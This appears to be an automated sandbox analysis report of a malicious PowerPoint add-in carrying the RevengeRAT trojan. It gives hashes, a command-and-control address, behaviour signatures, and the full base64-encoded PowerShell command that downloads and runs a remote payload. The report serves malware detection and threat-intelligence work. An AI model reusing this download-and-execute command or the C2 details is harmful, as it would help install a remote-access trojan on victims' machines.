Analysis

  • max time kernel
    118s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    11-03-2024 15:01

General

  • Target

    Detalhes da reserva.ppam

  • Size

    18KB

  • MD5

    d9b08507bbed55097f91f61b995f1b81

  • SHA1

    a10b28c1cca42bc277f1569feb830c10a501383e

  • SHA256

    0fabe8bad86d907040ba52fc7fc59e1626a4ea86bb24baa85a94734b4517fddb

  • SHA512

    cf9e1c41fff83c8e851d66ff4baf333b7e12acb99a37c62cf214d06ec5c1ea664e04eb0eb83d8ba206d8ad5a23532d910b48f670678e8238ea70fc9f12ef10b4

  • SSDEEP

    384:dXPuMXrXloiGnEnKdyOeTR05MVzZcqsts7uJNFTRVmWJhCxM:VPX+i0EnKdyOMRWAzZWbTfmoCq

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Detalhes da reserva.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1032
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2592
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBYAGUAQgBWAGEAQwB0AEMAVABoAG8AWABHAEcAdwBNAEUAZgBSAHUARAB1AEoAVwBFAFIAYQB0AGEAcABKAGUAZgBPAGYAYwB6AEYAQwBJAFMAbgB5AFQAQwBhAEUASABCAGsARQBNAHUATwBwAHAAQgBGAFYATgBDAEIAQgBLAGEAaQBSAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2076
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Checks processor information in registry
          PID:2484

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1032-0-0x000000002DCD1000-0x000000002DCD2000-memory.dmp
      Filesize

      4KB

    • memory/1032-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1032-2-0x0000000072A4D000-0x0000000072A58000-memory.dmp
      Filesize

      44KB

    • memory/1032-4-0x0000000006140000-0x0000000006240000-memory.dmp
      Filesize

      1024KB

    • memory/1032-8-0x0000000000600000-0x0000000000700000-memory.dmp
      Filesize

      1024KB

    • memory/1032-46-0x0000000072A4D000-0x0000000072A58000-memory.dmp
      Filesize

      44KB

    • memory/1032-45-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1032-43-0x0000000006140000-0x0000000006240000-memory.dmp
      Filesize

      1024KB

    • memory/1032-42-0x0000000072A4D000-0x0000000072A58000-memory.dmp
      Filesize

      44KB

    • memory/2076-27-0x00000000027F0000-0x00000000027F1000-memory.dmp
      Filesize

      4KB

    • memory/2076-14-0x00000000024A0000-0x00000000024E0000-memory.dmp
      Filesize

      256KB

    • memory/2076-18-0x00000000027B0000-0x00000000027C8000-memory.dmp
      Filesize

      96KB

    • memory/2076-20-0x00000000027B0000-0x00000000027C8000-memory.dmp
      Filesize

      96KB

    • memory/2076-22-0x00000000027B0000-0x00000000027C8000-memory.dmp
      Filesize

      96KB

    • memory/2076-24-0x00000000027B0000-0x00000000027C8000-memory.dmp
      Filesize

      96KB

    • memory/2076-26-0x00000000027B0000-0x00000000027C8000-memory.dmp
      Filesize

      96KB

    • memory/2076-15-0x00000000027B0000-0x00000000027C8000-memory.dmp
      Filesize

      96KB

    • memory/2076-11-0x000000006BB10000-0x000000006C0BB000-memory.dmp
      Filesize

      5.7MB

    • memory/2076-13-0x00000000024A0000-0x00000000024E0000-memory.dmp
      Filesize

      256KB

    • memory/2076-12-0x000000006BB10000-0x000000006C0BB000-memory.dmp
      Filesize

      5.7MB

    • memory/2076-16-0x00000000027B0000-0x00000000027C8000-memory.dmp
      Filesize

      96KB

    • memory/2076-39-0x000000006BB10000-0x000000006C0BB000-memory.dmp
      Filesize

      5.7MB

    • memory/2484-28-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2484-38-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2484-36-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2484-34-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2484-40-0x0000000067C10000-0x00000000682FE000-memory.dmp
      Filesize

      6.9MB

    • memory/2484-41-0x0000000004990000-0x00000000049D0000-memory.dmp
      Filesize

      256KB

    • memory/2484-29-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2484-30-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2484-32-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
      Filesize

      4KB

    • memory/2484-31-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2484-47-0x0000000067C10000-0x00000000682FE000-memory.dmp
      Filesize

      6.9MB

    • memory/2484-48-0x0000000004990000-0x00000000049D0000-memory.dmp
      Filesize

      256KB